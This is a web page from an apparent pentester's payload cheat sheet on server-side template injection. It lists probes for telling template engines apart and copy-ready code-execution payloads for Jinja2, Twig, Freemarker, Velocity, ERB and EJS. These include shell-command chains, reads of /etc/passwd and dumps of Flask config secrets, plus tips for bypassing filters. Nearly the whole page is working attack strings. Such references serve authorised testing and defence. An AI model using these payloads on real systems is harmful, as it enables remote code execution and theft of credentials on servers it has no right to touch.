PAYLOADS chinthanrkunder.com ↗
Engagement set once — every payload copies with these filled in

Template injection

class

Input reaching a template engine as template source rather than as data. Usually ends in code execution.

29 payloads · updated 2026-08-24 · see also Encoding and bypass · raw

01Detect

One payload tells you whether you're in a template at all.

POLYGLOT PROBE7
${7*7}
ENCCOPY
{{7*7}}
ENCCOPY
<%= 7*7 %>
ENCCOPY
#{7*7}
ENCCOPY
${{7*7}}
ENCCOPY
{{7*'7'}}
ENCCOPY
${7*7}{{7*7}}<%=7*7%>${{7*7}}#{7*7}Fire all of them at once. Whatever comes back tells you which engine you're facing.
ENCCOPY
READING THE RESULT
49 from {{7*7}}Jinja2, Twig, or another curly-brace engine
49 from ${7*7}Freemarker, Velocity, or a JS template literal
49 from <%= 7*7 %>ERB or EJS
7777777 from {{7*'7'}}Jinja2 — Python repeats the string
49 from {{7*'7'}}Twig — PHP coerces to a number
Nothing, but no errorIt's data, not a template. Move on.

The {{7*'7'}} distinction between Jinja2 and Twig is worth memorising — it's the difference between a Python and a PHP payload chain, and everything after this point depends on it.

02Jinja2 (Python)

JINJA28
{{config}}Dumps the Flask config, which often has SECRET_KEY in it.
ENCCOPY
{{config.items()}}
ENCCOPY
{{self.__init__.__globals__.__builtins__.import('os').popen('id').read()}}
ENCCOPY
{{cycler.__init__.__globals__.os.popen('id').read()}}Shorter chain, no __builtins__. Usually the one that works.
ENCCOPY
{{joiner.__init__.__globals__.os.popen('id').read()}}
ENCCOPY
{{namespace.__init__.__globals__.os.popen('id').read()}}
ENCCOPY
{{lipsum.__globals__.os.popen('id').read()}}The shortest reliable one. Try it first.
ENCCOPY
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
ENCCOPY

When . is filtered, use [] — {{lipsum['__globals__']['os']}}. When _ is filtered, use \x5f. When both are, you're into the __class__.__mro__ chain and it's a long evening.

03Twig (PHP)

TWIG5
{{_self}}
ENCCOPY
{{dump(app)}}
ENCCOPY
{{['id']|filter('system')}}
ENCCOPY
{{['id']|map('system')}}
ENCCOPY
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
ENCCOPY

04Freemarker and Velocity (Java)

FREEMARKER2
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
ENCCOPY
${"freemarker.template.utility.Execute"?new()("id")}
ENCCOPY
VELOCITY1
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
ENCCOPY

05ERB and EJS

ERB (RUBY)4
<%= 7*7 %>
ENCCOPY
<%= system("id") %>
ENCCOPY
<%= `id` %>
ENCCOPY
<%= File.open('/etc/passwd').read %>
ENCCOPY
EJS (NODE)2
<%= 7*7 %>
ENCCOPY
<%= global.process.mainModule.require('child_process').execSync('id') %>
ENCCOPY

Node template engines vary wildly in what's in scope. If global isn't there, try process, then require directly — one of the three is usually reachable.

/
↑↓ move⏎ copy⇧⏎ open pageesc close